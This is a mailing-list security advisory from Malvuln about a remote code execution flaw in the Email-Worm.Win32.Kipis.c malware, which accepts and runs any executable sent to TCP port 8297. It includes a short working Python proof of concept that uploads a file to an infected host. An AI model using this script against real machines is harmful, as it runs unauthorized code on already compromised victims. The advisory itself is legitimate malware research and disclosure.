[FD] Email-Worm.Win32.Kipis.c / Remote File Write Code Execution

[malvuln <malvuln13@xxxxxxxxx>]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/8d0df60c96e4011c312d61ed3e6dc70e.txt
Contact: malvuln13@xxxxxxxxx
Media: twitter.com/malvuln

Threat: Email-Worm.Win32.Kipis.c
Vulnerability: Remote File Write Code Execution
Description: The malware listens on TCP port 8297. Third-party adversaries
who can reach the infected host can write executable code to a file named
"winlogins.exe" in SysWOW64 directory. The program will execute as soon as
the binary transfer has completed. Successfully tested with a 880 byte
executable.
Family: Kipis
Type: PE32
MD5: 8d0df60c96e4011c312d61ed3e6dc70e
Vuln ID: MVID-2022-0652
Dropped files: jpdrop.jpg
Disclosure: 10/23/2022

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=8297
DOOM="DOOM_SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
        time.sleep(0.5)

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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